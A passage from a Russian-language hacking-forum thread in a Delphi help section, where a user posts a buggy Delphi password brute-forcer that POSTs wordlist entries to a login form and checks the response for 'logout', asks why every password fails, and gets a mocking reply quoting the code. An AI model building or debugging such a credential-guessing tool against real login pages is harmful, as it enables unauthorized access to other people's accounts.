 |
О валидности - Вопросы и ответы, обсуждения - Ваши вопросы по Pascal/Delphi только в данном разделе |
15.04.2012, 00:11
|
#1
|
|
|
|
Разведчик
|
 Регистрация: 09.01.2012
 Сообщений: 0
 Популярность: 10
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
О валидности
Помогите плз , вот попробовал написать что то похожее на брут , но он все пароли считает не валидными , в чем и состоит мой вопрос , помогите найти ошибку , буду благодарен!
Код:
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
IdHTTP1: TIdHTTP;
Memo2: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
Var
i:integer;
info:TStringlist;
p:Tstringlist;
begin
info:=Tstringlist.Create;
p:=tstringlist.Create;
for i:=0 to Memo1.Lines.Count-1 do
begin
info.Add('username=name');
info.add('password='+memo1.lines.strings[i]);
p.Text:=idhttp1.Post('http://3amenenol/index.php', info);
if pos('logout',p.Text)>0 then
begin
memo2.lines.add(memo1.lines.strings[i]+'valid');
end
else
begin
memo2.Lines.add(memo1.lines.strings[i]+'invalid');
end;
end;
end;
end.
|
|
|
15.04.2012, 08:37
|
#3
|
|
|
|
Разведчик
|
 Регистрация: 01.04.2012
 Сообщений: 6
 Популярность: 10
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: О валидности
 |
Цитата: |
 |
|
|
|
|
|
|
|
|
unit Unit1;
interface
uses
Windows, Messages, SysUtils, Variants, Classes, Graphics, Controls, Forms,
Dialogs, StdCtrls, IdBaseComponent, IdComponent, IdTCPConnection,
IdTCPClient, IdHTTP;
type
TForm1 = class(TForm)
Button1: TButton;
Memo1: TMemo;
IdHTTP1: TIdHTTP;
Memo2: TMemo;
procedure Button1Click(Sender: TObject);
private
{ Private declarations }
public
{ Public declarations }
end;
var
Form1: TForm1;
implementation
{$R *.dfm}
procedure TForm1.Button1Click(Sender: TObject);
Var
i:integer;
info:TStringlist;
p:Tstringlist;
begin
info:=Tstringlist.Create;
p:=tstringlist.Create;
for i:=0 to Memo1.Lines.Count-1 do
begin
info.Add('username=name');
info.add('password='+memo1.lines.strings[i]);
p.Text:=idhttp1.Post('http://3amenenol/index.php', info);
if pos('logout',p.Text)>0 then
begin
memo2.lines.add(memo1.lines.strings[i]+'valid');
end
else
begin
memo2.Lines.add(memo1.lines.strings[i]+'invalid');
end;
end;
end;
end.
|
|
 |
|
 |
|
 Дааааа... Точно про делал.
|
|
|
15.04.2012, 10:53
|
#4
|
|
|
|
Разведчик
|
 Регистрация: 09.01.2012
 Сообщений: 0
 Популярность: 10
 Сказал(а) спасибо: 0
Поблагодарили 0 раз(а) в 0 сообщениях
|
Re: О валидности
|
|
|
Ваши права в разделе
|
Вы не можете создавать новые темы
Вы не можете отвечать в темах
Вы не можете прикреплять вложения
Вы не можете редактировать свои сообщения
HTML код Выкл.
|
|
|
Заявление об ответственности / Список мошенников
Часовой пояс GMT +4, время: 20:22.
|
 |